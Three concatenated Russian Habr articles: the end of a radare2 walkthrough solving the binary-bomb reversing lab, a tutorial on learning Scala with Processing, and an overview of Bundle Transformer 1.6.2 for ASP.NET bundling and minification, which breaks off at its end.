Наверно сейчас человек, далекий от ассемблера, в эпилептических припадках пытается попасть по крестику на краю окна. На самом деле бояться тут нечего, просто так выглядит самый обычный switch-case блок.
Числа считываются аналогично предыдущему случаю, только без вызова функции и всего два. Хранятся они в **[rsp+8]** и **[rsp+0xc]** соответственно.
Затем идут проверки, что оба числа считаны успешно, а также первый аргумент не больше 7. После чего и происходит тот самый switch переход по адресу **0x402470** со смещением (введенное число)\*8.
Не трудно догадаться, что там лежат адреса case-меток. Дабы не быть голословным, посмотрим, что там действительно лежит. Сделать это можно с помощью групп команд **px**. В данном случае нас интересуют 8-байтные слова(**Q**uad-word).
```
[0x0040149e]> pxQ 72 @ 0x402470
0x00402470 0x0000000000400f7c sym.phase_3+57
0x00402478 0x0000000000400fb9 sym.phase_3+118
0x00402480 0x0000000000400f83 sym.phase_3+64
0x00402488 0x0000000000400f8a sym.phase_3+71
0x00402490 0x0000000000400f91 sym.phase_3+78
0x00402498 0x0000000000400f98 sym.phase_3+85
0x004024a0 0x0000000000400f9f sym.phase_3+92
0x004024a8 0x0000000000400fa6 sym.phase_3+99
```
Собственно, что и ожидалось, хотя не совсем последовательно. Дальше идет проверка второго нашего числа с тем магическим, что было записано в **eax** при свитче. Так как ввод в десятичном основании придется переконвертировать из hex-а. Посчитать можно это с помощью **rax2**(аналог калькулятора) через вызов шелла, а также напрямую, через встроенный калькулятор(хоткей — **?**), не создавая новых программ. А, дабы не жмакать постоянно enter можно группировать команды прям как в баше.
```
[0x0040149e]> !rax2 0xcf
207
[0x0040149e]> ?vi 0x2c3; ?vi 0x100; ?vi 0x185; ?vi 0xce; ?vi 0x2aa; ?vi 0x147; ?vi 0x137
707
256
389
206
682
327
311
```
Итого возможные решения будут:
* 0 207
* 1 311
* 2 707
* 3 256
* 4 389
* 5 206
* 6 682
* 7 327
И лишний раз убедимся, на произвольном варианте, что все работает:
```
$ ./bomb
...
That's number 2. Keep going!
4 389
Halfway there!
```
### Level 4
**sym.phase\_4**
**sym.func4**
На этом уровне появляется рекурсия. Помимо встроенных ASCII-графов также есть возможность получить графы в виде файлов для dot утилиты, а затем, например, переконвертить в png.
```
[0x0040149e]> ag sym.func4 > func4.dot
[0x0040149e]> dot -Tpng -o func4.png func4.dot
```
Если все это перевести в Си, то будет выглядеть *почти* не так страшно.
```
void phase_4(char *str) {
int x, y;
if (sscanf(str, "%d %d", &x, &y) != 2 ||
x > 14 ||
func4(x, 0, 14) ||
y != 0)
explode_bomb();
}
int func4(int x, int y, int z) {
unsigned diff = (z - y)/2;
int p = y + diff;
if (p > x) {
func4(x, y, p-1);
return diff * 2;
} else if (p < x) {
func4(x, p + 1, z);
return diff * 2 + 1;
}
return 0;
}
```
Самое простое и очевидное решение — функция func4 возвращает 0, когда она не заходит внутрь else-if. Ввод пользователя управляет только **x**, а **p=7** при первом заходе. Соответственно при **x=7** функция просто вернет 0, без рекуррентных вызовов. Вторая же переменная строго задана нулем. Убедимся в этом.
```
$ ./bomb in.tmp
...
Halfway there!
7 0
So you got that one. Try this one.
```
### Level 5
С этим будет сложнее, тут нагромождено очень много кода.
В **0x00401073** записывается [канарейка](https://en.wikipedia.org/wiki/Stack_buffer_overflow#Stack_canaries) на стек. Подобную информацию о бинарнике можно достать с помощью команды **i**. К примеру, **i~canary** вернет в данном случае **true**.
После этого возвращаемое значение string\_length сравнивается с 6 и начинается трудно анализируемый спагетти-код. Разбираться без дебагера с этим долго и сложно, поэтому будет грех им не воспользоваться. Для этого надо открыть файл с флагом дебага либо при запуске:
```
$ r2 -Ad bomb
```
либо просто переоткрыв файл:
```
[0x0040149e]> ood
```
Адрес указателя при этом автоматически поменяется на первый опкод в entry-point, который уже подгружен в память. Как обычно ставим breakpoints и продолжаем выполнение до них.
```
[0x7f2960b99d80]> db sym.phase_5 # либо s sym.phase_5; db $$
[0x7f2960b99d80]> dc # продолжить выполнение до 1 брейкпоинта
```
Дальше есть 2 способа анализа: первый — использовать блок команд **d**/**db**, второй — переключиться в Visual-mode. Первый способ не такой наглядный, поэтому остановимся на втором.
Как и раньше переходим Visual-mode, а затем выбираем необходимый debug-layout для отладки хоткеями **p**/**P**.
Перемешаться по код можно с помощью **n**/**N** — следующая/предыдущая функция; **j**/**k** — следующий предыдущий опкод.
И самое интересное: **b**/**F2** — поставить брейкпоинт, **s**/**F7** — шаг в 1 опкод, **S**/**F8** — шаг в 1 опкод не заходя в call, **F9** — продолжить до брейкпоинта.
**Вот так это все выглядит**
Итого поскармливав дебаггеру несколько строк, не трудно догадаться, что там происходит.
Для каждого символа из нашей строки по модулю 16 берется соответствующий символ из строки `char *s = "maduiersnfotvbyl"` и полученная строка сравнивается «flyers».
Собственно наша задача и найти такие символы, индексы которых в str дают искомую строку.
Строку flyers получить можно единственным образом: {s[0x9], s[0xe], s[0xf], s[0x5], s[0x6], s[0x7]}. Думаю, ASCII таблицу в голове хранит не каждый, посему можно снова обратиться к утилите rax2 за помощью. С ключом **-s** он конвертит из hex в string. Т.к. символы берутся по модулю 16, то для эстетичности можно подобрать печатаемые значения.
```
$ rax2 -s 49 4e 4f 45 46 47
INOEFG
```
```
$ ./bomb
...
So you got that one. Try this one.
INOEFG
Good work! On to the next...
```
**Отступление про строку**Я очень долго думал и все еще думаю, что там может получиться какое-нибудь осмысленное слово. Так что если вдруг кто-то отыщет буду крайне признателен :)
### The Last One
Так как статья вышла великовата все фазы я рассматривать не буду. В частности, 6 фазу я опущу, ибо там достаточно много кропотливого вникания без непосредственного участия фреймворка. Пусть это останется домашним заданием самым любознательным.
В секретную фазу попасть не так просто, посему упростим себе жизнь пропатчив бинарник. Открыть файл нам придется заново, выдав права на запись флажком **-w**, либо переоткрыть с помощью **oo+** не выходя из r2.
```
$ r2 -Aw bomb
-- Did you ever ordered a pizza using radare2?
[0x00400c90]> s 0x00400ec6 # call sym.phase_6
[0x00400ec6]> wa call sym.secret_phase # запись нужных опкодов
[0x00400ec6]> pdf @ sym.secret_phase; pdf @ sym.fun7
```
**secret\_phase**
**fun7**
Опять появляется рекурсивная функция и на этот раз ее так просто не обойти, ибо без рекурсивных вызовов нужное значение так просто, как было в прошлый раз, не получить. ASCII-граф снова может упростить жизнь.
Анализ дает примерно такой аналог на Си:
```
void secret_phase() {
long num = strtol(read_line()) - 1;
if (num > 0x3e8 ||
fun7((long*)(0x6030f0), num) != 2)
explode_bomb();
puts("Wow! You've defused the secret stage!");
phase_defused();
}
int fun7(long *array, int num) {
if (array == 0)
return -1;
if (*array <= num) {
if (*array == num)
return 0; // 1
else {
return 2 * fun7(array + 1, num); // 2
}
} else {
return 2 * fun7(array + 2, num) + 1; // 3
}
}
```
Итого, чтобы получить на выходе **fun7** именно двойку, нам надо вначале вызвать ret на **2** строке, затем на **3** и наконец на **1**. Остается лишь одна загадка — что хранится по адресу **0x6030f0**.
**480 байт**
```
[0x00401204]> px 480 @ 0x6030f0
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x006030f0 2400 0000 0000 0000 1031 6000 0000 0000 $........1`.....
0x00603100 3031 6000 0000 0000 0000 0000 0000 0000 01`.............
0x00603110 0800 0000 0000 0000 9031 6000 0000 0000 .........1`.....
0x00603120 5031 6000 0000 0000 0000 0000 0000 0000 P1`.............
0x00603130 3200 0000 0000 0000 7031 6000 0000 0000 2.......p1`.....
0x00603140 b031 6000 0000 0000 0000 0000 0000 0000 .1`.............
0x00603150 1600 0000 0000 0000 7032 6000 0000 0000 ........p2`.....
0x00603160 3032 6000 0000 0000 0000 0000 0000 0000 02`.............
0x00603170 2d00 0000 0000 0000 d031 6000 0000 0000 -........1`.....
0x00603180 9032 6000 0000 0000 0000 0000 0000 0000 .2`.............
0x00603190 0600 0000 0000 0000 f031 6000 0000 0000 .........1`.....
0x006031a0 5032 6000 0000 0000 0000 0000 0000 0000 P2`.............
0x006031b0 6b00 0000 0000 0000 1032 6000 0000 0000 k........2`.....
0x006031c0 b032 6000 0000 0000 0000 0000 0000 0000 .2`.............
0x006031d0 2800 0000 0000 0000 0000 0000 0000 0000 (...............
0x006031e0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x006031f0 0100 0000 0000 0000 0000 0000 0000 0000 ................
0x00603200 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00603210 6300 0000 0000 0000 0000 0000 0000 0000 c...............
0x00603220 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00603230 2300 0000 0000 0000 0000 0000 0000 0000 #...............
0x00603240 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00603250 0700 0000 0000 0000 0000 0000 0000 0000 ................
0x00603260 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00603270 1400 0000 0000 0000 0000 0000 0000 0000 ................
0x00603280 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00603290 2f00 0000 0000 0000 0000 0000 0000 0000 /...............
0x006032a0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x006032b0 e903 0000 0000 0000 0000 0000 0000 0000 ................
0x006032c0 0000 0000 0000 0000 0000 0000 0000 0000 ................
```
Тут хранятся 8-байтные переменные блоками по 4. Первая используется для сравнения с нашим числом; второе и третье — указатели на следующие символы для сравнения; четвертое — просто паддинг, не используется.
Теперь можно разложить все условия и найти искомую переменную.
* 2 ret: num < 0x24
* 3 ret: num > 0x08
* 1 ret: num == 0x16
```
$ ./bombSec in.tmp
...
Good work! On to the next...
22
Wow! You've defused the secret stage!
Congratulations! You've defused the bomb!
```
Еху, мы сделали это! ~~Человечество может жить спокойно~~. Не смотря на то, что статья вышла немного великовата, достаточно много фич фреймворка не были освещены, так что интересующиеся еще могут очень много для себя открыть. Также, буду рад выслушать идеи для возможного продолжения. | https://habr.com/ru/post/274617/ | null | ru | null |
# Scala + Processing – интересный способ выучить новый язык
Недавно мне довелось на собственном опыте убедиться: чтобы научиться применять какие-то новые технологии, недостаточно прочитать пару книг по теме, потому что без практики теория мгновенно улетучивается из головы.
Но что можно сделать такого интересного на Scala? На самом деле, выбор не слишком большой. Я как-то придумал небольшую тулзу, неспешно написал ее, и «забил». А через несколько месяцев, к своему стыду, гуглил синтаксис «for loop»…
Я решил, что дальше так дело не пойдет, и нужно найти какие-то небольшие проектики на основные возможности языка. Тут мне и пригодился Processing. Скучные учебные проекты он любому новичку (вроде меня) поможет превратить в визуальные инсталляции. А дальше можно выбрать, что покопать углубленно — например, генерацию фракталов, рендеринг частиц или визуализацию данных.
Я переписал на Scala и выложил на GitHub парочку примеров. На скрине как раз один из них — [MSA Fluids](http://memo.tv/msafluid_for_processing). Заинтересовавшихся прошу под кат.
Когда-то я познакомился со Scala, и этот язык мне моментально понравился. Я пролистал несколько книг, в том числе и [Programming in Scala](http://www.artima.com/shop/programming_in_scala_2ed), которую рекомендую решительно всем. Даже только теория позволила мне по-другому взглянуть на мир программирования. К большому сожалению, моя основная работа со Scala никак не связана, да и вообще язык, которым я лучше всего владею, в некоторых местах довольно сильно от нее отличается. И язык этот не Processing.
#### Processing
Итак, тут как раз отличное время представить Processing, так как мало кто о нем слышал, а уж руками трогали вообще единицы. [Processing](http://processing.org/) – это DSL для Java со своим микро IDE и разными библиотеками. Используется так называемыми Visual Artists для генерации всякого красивого трэшака.
Рекомендую покликать на [Vimeo](http://vimeo.com/tag:processing/sort:likes) по видео с тэгом *processing* и посмотреть что народ придумывает. Вот парочка красивых:
Дабы не повторяться, на Хабре уже публиковались несколько интересных статей о Processing:
* [Знакомство с Processing 1.0](http://habrahabr.ru/blogs/programming/58314/)
* [Processing 1.0 и почти закон всемирного тяготения](http://habrahabr.ru/blogs/programming/69617/)
* [Мой визуализатор музыки](http://habrahabr.ru/blogs/infodesign/79937/)
А я лишь кратко резюмирую все в них написанное своими словами. Помните, в детстве учили программированию на Бейсике или [Logo](http://en.wikipedia.org/wiki/Logo_(programming_language)), там черепашка линии рисовала? Ясен пень, каждый тут может наворотить еще и не такую красоту на своем любимом языке. Да еще в тридцать слоев абстракции обернет по дороге. А простым людям сложно понять что за ООП, классы, библиотеки такие, да и не нужно это им.
Вот и решили сделать такой простой язык на базе Java, чтобы помочь обычным Visual Artists воплощать свои идеи в императивном стиле. Мол, нарисуй тут линию, а тут квадратик. И пошло-поехало. Сейчас Processing уже сильно разросся и его сложно игнорировать. Для него написано множество отличных библиотек, а так как по сути это Java, можно использовать и вагон Java библиотек.
А Scala тоже выполняется на JVM… ну вы поняли, да?
На самом деле есть целый проект на основе Processing IDE, который позволяет писать на Scala – [Spde](http://technically.us/spde/About). И про него уже [писали](http://www.scala-lang.org/node/3391) на [scala-lang.org](http://www.scala-lang.org/). Но IDE этот мне кажется маленьким и несерьезным. Попытайся написать что-то большое и начнутся головняки. Так что давайте остановимся на чем-то более удобном.
#### Установка и настройка
Скорее всего, какой-то IDE для разработки на Scala у Вас уже стоит, так что не буду заострять на этом внимание. Я использую intelliJ IDEA со Scala плагином.
Сперва нужно скачать и установить [Processing](http://processing.org/download/).
Далее в Scala проект подключить основную Processing библиотеку.
На Windows путь примерно аналогичный.
#### Код
Теперь создаем новый main класс. Я его назвал просто Test.
```
import processing.core._
object Test extends PApplet {
private var test:Test = _
def main(args: Array[String]) = {
test = new Test
val frame = new javax.swing.JFrame("Test")
frame.getContentPane().add(test)
test.init
frame.pack
frame.setVisible(true)
}
}
class Test extends PApplet {
override def setup() = {
}
override def draw() = {
}
}
```
В Processing большинство функционала зашито в класс PApplet. Его, кстати, запускать можно и AppletViewer'ом, если выставить профиль в Run Configurations. Тогда метод main не нужен.
Данный код пока мало что делает, но по нему уже видно обычную структуру программ на Processing (которые называются скетчи). Дальше я немного расширю этот код. Он будет чернобелые рандомные цветочки рисовать за курсором. Вот примерно так:
```
import processing.core._
import math._
import scala.util.Random
object Test extends PApplet {
private var test:Test = _
def main(args: Array[String]) = {
test = new Test
val frame = new javax.swing.JFrame("Test")
frame.getContentPane().add(test)
test.init
frame.pack
frame.setVisible(true)
}
}
class Test extends PApplet {
var angle:Int = 0;
override def setup() = {
size(640, 360)
background(102)
smooth()
noStroke()
fill(0, 102)
}
override def draw() = {
angle += 10
var value = cos(toRadians(angle)) * 6.0
for (a <- 0 to 360 by 75) {
val xoff = cos(toRadians(a)) * value
val yoff = sin(toRadians(a)) * value
fill(Random.nextInt(255))
ellipse( (mouseX + xoff).toFloat, (mouseY + yoff).toFloat, value.toFloat, value.toFloat );
}
fill(255);
ellipse(mouseX, mouseY, 2, 2)
}
}
```
#### Что дальше?
Я в качестве эксперимента перевел на Scala парочку интересных примеров (в том числе и знаменитые [Fluids](http://memo.tv/msafluid_for_processing) от MSA Visuals) и выложил их на GitHub: [scala-processing-examples](https://github.com/valyard/scala-processing-examples). Сейчас там всего два примера, но они довольно интересные.
Также, Вам наверняка понадобится справка по доступным методам. [Ее](http://processing.org/reference/) (и еще множество полезных материалов) всегда можно найти на сайте [processing.org](http://processing.org).
Лично мой план — взять [книжку](http://www.artima.com/shop/programming_in_scala_2ed), сесть и на каждую тему придумывать небольшой скетч, чтобы эту тему визуализировать и запомнить.
#### Еще несколько замечаний.
Для того, чтобы запустить примеры с GitHub, нужно импортнуть opengl библиотеки.
И (важно!) разархивировать куда-нибудь содержимое .jar архивов с нативными реализациями этих библиотек
А потом в Run Configuration прописать до них путь
Иначе, приложение будет сыпаться с ошибкой, мол, библиотека jogl не найдена.
Я так и не понял как в IDEA подключить нативные библиотеки более правильно. Возможно, [никак](http://youtrack.jetbrains.net/issue/IDEA-28168).
#### И напоследок
Согласитесь, красивые картинки для изучения интересного языка гораздо лучше, чем унылые текстовые утилиты. Удачных экспериментов! | https://habr.com/ru/post/114158/ | null | ru | null |
# Вышел Bundle Transformer 1.6.2 или что изменилось за полгода?
[Bundle Transformer](http://bundletransformer.codeplex.com/) – это разработанное мной модульное расширение для [Microsoft ASP.NET Web Optimization Framework](http://aspnetoptimization.codeplex.com/) (другие названия: ASP.NET Bundling and Minification, System.Web.Optimization, Microsoft.Web.Optimization и ASP.NET Optimization – Bundling). В апреле этого года я уже делал подробный [обзор возможностей Bundle Transformer](http://taritsyn.wordpress.com/2012/04/17/bundle-transformer-modulnoe-rasshirenie-dlja-asp-net-bundling-and-minification/), но за это время данный продукт очень сильно изменился. Поэтому я решил написать данный обзор и рассказать об основных изменениях, которые произошли в Bundle Transformer за прошедшие полгода.
### Изменения, связанные с развитием Microsoft ASP.NET Web Optimization Framework
Апрельская версия Bundle Transformer была разработана для 1-й беты Microsoft ASP.NET Web Optimization Framework (далее B/M). Уже во 2-й бете B/M произошли серьезные изменения: сильно изменился API, появилась поддержка режима отладки и была признана устаревшей возможность создания динамических bundle`ов (больше не рекомендуется использовать метод `EnableDefaultBundles` и класс `DynamicFolderBundle`). В финальной версии B/M уже не было кардинальных изменений, но добавилась одна очень полезная возможность – это поддержка CDN.
Все перечисленные выше изменения также повлияли и на Bundle Transformer.
Начиная со 2-й беты B/M рекомендуется перенести код, создающий bundle`ы, из файла `Global.asax` в класс `BundleConfig` и разместить этот класс в директории `App_Start`. В файле `Global.asax` нужно оставить только вызов метода `RegisterBundles` класса `BundleConfig`:
```
using System.Web.Mvc;
using System.Web.Optimization;
using System.Web.Routing;
namespace BundleTransformer.Example.Mvc
{
public class MvcApplication : System.Web.HttpApplication
{
protected void Application_Start()
{
AreaRegistration.RegisterAllAreas();
FilterConfig.RegisterGlobalFilters(GlobalFilters.Filters);
RouteConfig.RegisterRoutes(RouteTable.Routes);
// Запускаем создание bundle`ов
BundleConfig.RegisterBundles(BundleTable.Bundles);
}
}
}
```
Рассмотрим создание bundle`ов и настройку их обработки с помощью Bundle Transformer на примере следующего класса `BundleConfig`:
```
using System.Web.Optimization;
using BundleTransformer.Core.Orderers;
using BundleTransformer.Core.Transformers;
namespace BundleTransformer.Example.Mvc
{
public class BundleConfig
{
public static void RegisterBundles(BundleCollection bundles)
{
var cssTransformer = new CssTransformer();
var jsTransformer = new JsTransformer();
var nullOrderer = new NullOrderer();
var commonStylesBundle = new Bundle("~/Bundles/CommonStyles");
commonStylesBundle.Include(
"~/Content/Site.css",
"~/Content/BundleTransformer.css",
"~/AlternativeContent/css/TestCssComponentsPaths.css",
"~/Content/themes/base/jquery.ui.core.css",
"~/Content/themes/base/jquery.ui.theme.css",
"~/Content/themes/base/jquery.ui.resizable.css",
"~/Content/themes/base/jquery.ui.button.css",
"~/Content/themes/base/jquery.ui.dialog.css",
"~/Content/TestTranslators.css",
"~/Content/TestLess.less",
"~/Content/TestSass.sass",
"~/Content/TestScss.scss");
commonStylesBundle.Transforms.Add(cssTransformer);
commonStylesBundle.Orderer = nullOrderer;
bundles.Add(commonStylesBundle);
var modernizrBundle = new Bundle("~/Bundles/Modernizr");
modernizrBundle.Include("~/Scripts/modernizr-2.*");
modernizrBundle.Transforms.Add(jsTransformer);
modernizrBundle.Orderer = nullOrderer;
bundles.Add(modernizrBundle);
var commonScriptsBundle = new Bundle("~/Bundles/CommonScripts");
commonScriptsBundle.Include("~/Scripts/MicrosoftAjax.js",
"~/Scripts/jquery-{version}.js",
"~/Scripts/jquery-ui-{version}.js",
"~/Scripts/jquery.validate.js",
"~/Scripts/jquery.validate.unobtrusive.js",
"~/Scripts/jquery.unobtrusive-ajax.js",
"~/Scripts/knockout-2.*",
"~/Scripts/TestCoffeeScript.coffee");
commonScriptsBundle.Transforms.Add(jsTransformer);
commonScriptsBundle.Orderer = nullOrderer;
bundles.Add(commonScriptsBundle);
var jqueryUiStylesDirectoryBundle = new Bundle("~/Bundles/JqueryUiStylesDirectory");
jqueryUiStylesDirectoryBundle.IncludeDirectory("~/Content/themes/base/", "*.css");
jqueryUiStylesDirectoryBundle.Transforms.Add(new CssTransformer(
new[] { "*.all.css", "jquery.ui.base.css" }));
bundles.Add(jqueryUiStylesDirectoryBundle);
var scriptsDirectoryBundle = new Bundle("~/Bundles/ScriptsDirectory");
scriptsDirectoryBundle.IncludeDirectory("~/Scripts/", "*.js");
scriptsDirectoryBundle.Transforms.Add(new JsTransformer(
new[] { "*.all.js", "references.js" }));
bundles.Add(scriptsDirectoryBundle);
}
}
}
```
Главное отличие по сравнению с 1-й бетой B/M заключается в том, что для добавления файлов и директорий теперь используются методы `Include` и `IncludeDirectory` (вместо методов `AddFile` и `AddDirectory`). Кроме того, добавление трансформаций теперь производится не через конструктор класса `Bundle`, а через его свойство `Transforms` (в приведенном выше коде вы можете увидеть это на примере добавления экземпляров классов `CssTransformer` и `JsTransformer`).
> Стоит отметить, что помимо класса `Bundle` для создания bundle`ов могут также использоваться его подклассы `StyleBundle` (для стилей) и `ScriptBundle` (для скриптов). В эти классы уже добавлены трансформации, отвечающие за минимизацию кода (экземпляры классов `CssMinify` и `JsMinify`). В нашем случае мы не можем использовать эти подклассы, потому что нам необходимо вместо экземпляров классов `CssMinify` и `JsMinify` добавить трансформации из Bundle Transformer (экземпляры классов `CssTransformer` и `JsTransformer`).
Рассмотрим регистрацию ссылок на созданные bundlе`ы в коде представлений на примере файла `_Layout.cshtml`:
```
@ViewBag.Title - Bundle Transformer Example MVC Application
@Styles.Render("~/Bundles/CommonStyles")
@Scripts.Render("~/Bundles/Modernizr")
...
...
@Scripts.Render("~/Bundles/CommonScripts")
@RenderSection("scripts", required: false)
```
Теперь ссылки на bundle`ы добавляются в код представления с помощью метода `Render` (`Styles.Render` используется для CSS, а `Scripts.Render` для JavaScript). Использование метода `Render` не только делает добавление ссылок на bundle`ы более удобным, но и решает главную проблему ранних версий B/M – поддержку режима отладки.
B/M определяет режим, в котором находится веб-приложение, на основе следующих настроек:
1. Значения атрибута `debug` элемента `compilation` из файла `Web.config` (`true` – режим отладки; `false` – режим выпуска);
2. Значения свойства `BundleTable.EnableOptimizations`, которое можно указать в классе `BundleConfig` (`true` – режим выпуска; `false` – режим отладки). Причем значение свойства `BundleTable.EnableOptimizations` имеет приоритет над настройками из файла `Web.config`.
В режиме выпуска код файлов, входящих в bundle, объединяется и обрабатывается (применяются трансформации). На выходе получается HTML-код следующего вида:
```
Home Page - Bundle Transformer Example MVC Application
...
...
```
А в режиме отладки файлы, входящие в bundle, выводятся в исходном виде и по отдельности:
```
Home Page - Bundle Transformer Example MVC Application
...
...
```
Что существенно упрощает отладку клиентского кода.
Но если вы используете препроцессоры, то при работе в режиме отладки у вас могут возникнуть проблемы. В приведенном выше коде присутствуют ссылки на файлы с расширениями `.less`, `.sass`, `.scss` и `.coffee`. Если в файле `Web.config` для этих расширений не зарегистрированы HTTP-хэндлеры, то содержимое этих файлов окажется необработанным и могут возникнуть ошибки на стороне клиента.
Для решения данной проблемы в библиотеки трансляторов BundleTransformer.Less, BundleTransformer.LessLite, BundleTransformer.SassAndScss и BundleTransformer.CoffeeScript были добавлены реализации соответствующих HTTP-хэндлеров. При установке трансляторов через NuGet HTTP-хэндлеры регистрируются в файле `Web.config` автоматически:
```
xml version="1.0" encoding="utf-8"?
...
...
...
...
...
```
Исключение составляет лишь NuGet-пакет BundleTransformer.Less: при его установке также устанавливается пакет dotless, который автоматически регистрирует свою версию HTTP-хэндлера для обработки файлов с расширением `.less`. Но у вас всегда есть возможность вручную заменить его на HTTP-хэндлер `LessAssetHandler` из BundleTransformer.Less.
Управлять настройками родных HTTP-хэдлеров трансляторов можно с помощью конфигурационного элемента `/configuration/bundleTransformer/core/assetHandler` из файла `Web.config`. В следующем коде показаны настройки HTTP-хэндлеров по умолчанию:
```
...
...
...
...
```
где,
* `clientCacheDurationInDays="(число)"`. Задает продолжительность нахождения текстового содержимого обработанного файла в кэше браузера (в днях).
* `enableCompression="(true|false)"`. Включает GZIP/Deflate-сжатие обработанного файла.
* `useLastModifiedHeader="(true|false)"`. Разрешает использовать HTTP-заголовок `Last-Modified` для оповещения браузера об изменении обработанного файла.
* `useETagHeader="(true|false)"`. Разрешает использовать HTTP-заголовок `ETag` для оповещения браузера об изменении обработанного файла.
* `serverCacheDurationInMinutes="(число)"`. Задает продолжительность нахождения текстового содержимого обработанного файла в серверном кэше (в минутах).
* `useServerCacheSlidingExpiration="(true|false)"`. Разрешает использование скользящего времени устаревания элемента серверного кэша.
* `disableClientCacheInDebugMode="(true|false)"`. Отключает в режиме отладки браузерное кэширование обработанного файла.
* `disableCompressionInDebugMode="(true|false)"`. Отключает в режиме отладки GZIP/Deflate-сжатие обработанного файла.
### Трансляторы
#### Bundle Transformer: LESS Lite
В конце апреля появилась облегченная версия библиотеки [dotless](http://www.dotlesscss.org/) под названием [DotlessClientOnly](http://nuget.org/packages/DotlessClientOnly). Данная библиотека содержит только LESS-компилятор, а весь функционал, связанный с ASP.NET, из нее был удален (например, HTTP-хэндлер).
[BundleTransformer.LessLite](http://nuget.org/packages/BundleTransformer.LessLite) использует возможности DotlessClientOnly для трансляции LESS-кода в CSS. По возможностям и программному интерфейсу BundleTransformer.LessLite полностью эквивалентен [BundleTransformer.Less](http://nuget.org/packages/BundleTransformer.Less). Поэтому если в ваших проектах вся работа с [LESS](http://lesscss.org/) производится только через Bundle Transformer, то лучше использовать модуль BundleTransformer.LessLite, т.к. в его основе лежит более легковесная библиотека.
#### Bundle Transformer: CoffeeScript
До версии 1.5.5 в [BundleTransformer.CoffeeScript](http://nuget.org/packages/BundleTransformer.CoffeeScript) для трансляции CoffeeScript-кода в JavaScript использовалась библиотека [SassAndCoffee.JavaScript](http://github.com/xpaulbettsx/SassAndCoffee) версии 2.0.2.0. К сожалению, библиотека SassAndCoffee.JavaScript уже давно не развивается и поддерживает уже устаревшую версию [CoffeeScript](http://coffeescript.org/) (версия 1.1.3). Поэтому в новых версиях BundleTransformer.CoffeeScript от нее пришлось отказаться и реализовать собственный компилятор, поддерживающий CoffeeScript 1.3.3.
### Минимизаторы
Основной задачей при создании Bundle Transformer было предоставить разработчику возможность выбора из нескольких минимизаторов. В ранних версиях продукта разработчику были доступны адаптеры лишь для 2-х семейств минимизаторов: [Microsoft Ajax Minifier](http://ajaxmin.codeplex.com/) и [YUI Compressor](http://developer.yahoo.com/yui/compressor/). В текущей же версии доступны адаптеры практически для всех популярных минимизаторов CSS- и JS-кода.
#### Bundle Transformer: Closure
[BundleTransformer.Closure](http://nuget.org/packages/BundleTransformer.Closure) содержит 2 минимизатора JS-кода: `ClosureRemoteJsMinifier` и `ClosureLocalJsMinifier`. `ClosureRemoteJsMinifier` производит минимизацию с помощью веб-сервиса [Google Closure Compiler Service API](http://developers.google.com/closure/compiler/docs/gettingstarted_api) и требует постоянного подключения к Интернету. `ClosureLocalJsMinifier` осуществляет минимизацию средствами консольного приложения [Google Closure Compiler Application](http://developers.google.com/closure/compiler/docs/gettingstarted_app), и требует для своей работы: [виртуальную машину Java](http://www.java.com/download/) и последнюю версию файла [compiler.jar](http://closure-compiler.googlecode.com/files/compiler-latest.zip).
#### Bundle Transformer: JSMin
[BundleTransformer.JsMin](http://nuget.org/packages/BundleTransformer.JsMin) содержит адаптер-минимизатор JS-кода `CrockfordJsMinifier`. `CrockfordJsMinifier` основан на C#-порте старейшего минимизатора JS-кода – [JSMin](http://www.crockford.com/javascript/jsmin.html), который был написан Дугласом Крокфордом (Douglas Crockford). Используемый C#-порт был создан на основе версии JSMin от 22 мая 2007 года.
#### Bundle Transformer: UglifyJS
[BundleTransformer.UglifyJs](http://nuget.org/packages/BundleTransformer.UglifyJs) содержит адаптер-минимизатор JS-кода `UglifyJsMinifier`. `UglifyJsMinifier` создан на основе популярного в сообществе Node.js минимизатора JS-кода — [UglifyJS](http://github.com/mishoo/UglifyJS) (сейчас поддерживается версия 1.3.3).
#### Bundle Transformer: Packer
[BundleTransformer.Packer](http://nuget.org/packages/BundleTransformer.Packer) содержит адаптер-минимизатор JS-кода `EdwardsJsMinifier`. `EdwardsJsMinifier` создан на основе JS-минимизатора Дина Эдвардса (Dean Edwards) [Packer](http://dean.edwards.name/packer/) версии 3.0. Главной особенностью Packer`а является то, что помимо минимизации и обфускации кода, он может еще производить сжатие кода с помощью алгоритма Base62. Base62-сжатие можно использовать, когда на веб-сервере отсутствует поддержка GZIP/Deflate-сжатия.
#### Bundle Transformer: CSSO
BundleTransformer.Csso содержит адаптер-минимизатор CSS-кода `KryzhanovskyCssMinifier`. `KryzhanovskyCssMinifier` основан на CSS-минимизаторе [CSSO](http://github.com/css/csso) (сейчас поддерживается версия 1.2.18). Данный минимизатор был создан разработчиками методологии [БЭМ](http://bem.github.com/bem-method/pages/beginning/beginning.ru.html): Сергеем Крыжановским и Виталием Харисовым. Главным отличием данного CSS-минимизатора от других средств минимизации CSS-кода — является поддержка структурной минимизации (например, с CSS-кодом производятся следующие операции: слияние блоков с одинаковыми селекторами, удаление перекрываемых свойств, частичное выделение свойств в отдельный блок, частичное слияние блоков и т.д.). Структурная минимизация дает высокую степень сжатия при минимизации кода сгенерированного «машиной» (например, препроцессором).
Хочу отметить один важный момент: CSSO написан на ECMAScript 5 и я очень долго не мог найти JS-движок для .NET, который мог бы правильно выполнить код этой библиотеки. В итоге я остановил свой выбор на реализации JS-движка V8 под .NET — [Noesis Javascript .NET](http://javascriptdotnet.codeplex.com). Данный движок частично написан на неуправляемом коде и имеет 2 версии: 32- и 64-разрядную. Из-за этой особенности реализации модуль BundleTransformer.Csso был разделен на 2 NuGet-пакета: [BundleTransformer.Csso.x86](http://nuget.org/packages/BundleTransformer.Csso.x86) и [BundleTransformer.Csso.x64](http://nuget.org/packages/BundleTransformer.Csso.x64). Для корректной работы Noesis Javascript .NET требуются сборки `msvcp100.dll` и `msvcr100.dll` из Microsoft Visual C++ 2010. Если в вашей системе нет этих сборок, то рекомендую вам установить Microsoft Visual C++ 2010 Redistributable Package ([x86](http://www.microsoft.com/en-us/download/details.aspx?id=5555), [x64](http://www.microsoft.com/en-us/download/details.aspx?id=14632)).
#### Bundle Transformer: WebGrease
